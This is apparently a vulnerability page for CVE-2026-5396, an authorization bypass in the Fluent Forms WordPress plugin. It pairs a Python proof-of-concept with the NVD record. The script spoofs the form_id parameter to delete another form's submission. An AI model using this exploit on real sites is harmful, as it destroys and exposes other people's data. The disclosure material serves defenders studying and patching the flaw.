CVE-2026-5396

import requests # Target endpoint for managing submissions target_url = "https://example.com/wp-json/fluentform/v1/submissions" # Authenticated user cookies (User has access to form_id=1) cookies = { "wordpress_logged_in_xxx": "attacker_cookie_value" } # Vulnerability parameter: form_id # The attacker spoofs this ID to a form they manage (e.g., ID 1) # to access a submission from a different form (e.g., submission ID 999) payload = { "form_id": "1", "submission_id": "999" } # Example: Attempting to delete a submission using the bypass response = requests.delete(target_url, params=payload, cookies=cookies) if response.status_code == 200: print("[+] Exploit Successful! Submission deleted via IDOR/Bypass.") else: print(f"[-] Exploit Failed. Status Code: {response.status_code}")

{"cve": {"id": "CVE-2026-5396", "sourceIdentifier": "[email protected]", "published": "2026-05-14T06:16:24.117", "lastModified": "2026-05-14T14:28:41.283", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "The Fluent Forms plugin for WordPress is vulnerable to Authorization Bypass Through User-Controlled Key in all versions up to, and including, 6.1.21. This is due to the SubmissionPolicy class authorizing submission-level actions (read, modify, delete, add notes) based on a user-supplied `form_id` query parameter. This makes it possible for authenticated attackers, with Fluent Forms Manager access restricted to specific forms, to read, modify status, add notes to, and permanently delete form submissions belonging to any other form by spoofing the form_id parameter to a form they are authorized for."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:L/A:N", "baseScore": 8.2, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 4.2}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-639"}]}], "references": [{"url": "https://plugins.trac.wordpress.org/changeset?old_path=/fluentform/tags/6.1.21/app/Http/Policies/SubmissionPolicy.php&new_path=/fluentform/tags/6.2.0/app/Http/Policies/SubmissionPolicy.php", "source": "[email protected]"}, {"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/81aad41e-0330-4dff-a5f8-08a108d724f5?source=cve", "source": "[email protected]"}]}}